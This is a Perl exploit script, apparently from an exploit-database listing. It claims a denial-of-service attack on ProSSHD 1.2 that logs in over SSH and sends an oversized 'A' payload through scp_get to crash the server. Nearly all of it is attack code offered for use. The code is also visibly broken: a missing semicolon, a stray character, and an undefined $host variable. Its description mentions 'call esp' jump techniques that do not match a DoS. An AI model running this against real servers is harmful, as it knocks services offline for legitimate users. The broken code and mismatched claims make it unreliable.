#!/usr/bin/perl
use Net::SSH2
# Exploit Title: ProSSHD 1.2 20090726 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 13 january 2024
# Vendor Homepage: https://prosshd.com/
# Notification vendor: No reported
# Tested Version: ProSSHD 1.2 20090726
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to SSH.
#The following request sends a large amount of data to the SSH to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {s
$cmd="clear";
}
system("$cmd");
intro();
main();
print "\t ==> Connecting to webserver... \n\n";
sleep(1);
my $i=0;
print "\t ==> Exploiting... \n\n";
my $payload = "\x41" x 500;
$connection2 = Net::SSH2->new();
$connection2->connect($host, $port) || die "\nError: Connection Refused!\n";
$connection2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$scpget = $connection2->scp_get($payload);
$connection2->disconnect();
print "\t ==> Done! Exploited!";
sub intro {
print q {
,--,
_ ___/ /\|
,;'( )__, ) ~
// // '--;
' \ | ^
^ ^
[+] ProSSHD 1.2 20090726 - Denial of Service (DoS)
[*] Coded by Fernando Mengali
[@] e-mail: fernando.mengalli@gmail.com
}
}
sub main {
our ($ip, $port, $username, $password) = @ARGV;
unless (defined($ip) && defined($port)) {
print "\n\tUsage: $0 <ip> <port> <username> <password> \n";
exit(-1);
}
}
#3. Solution/ How to fix:
# This version product is deprecated
